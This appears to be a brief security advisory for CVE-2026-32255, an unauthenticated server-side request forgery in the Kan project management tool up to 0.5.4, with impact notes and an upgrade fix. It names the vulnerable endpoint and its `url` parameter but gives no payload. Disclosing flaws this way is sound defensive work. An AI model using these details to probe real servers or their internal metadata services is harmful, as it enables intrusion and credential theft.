Kan <= 0.5.4 - Server-Side Request Forgery
CVE-2026-32255
Early Release
Description
Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.

impact: |
Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.
remediation: |
Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.
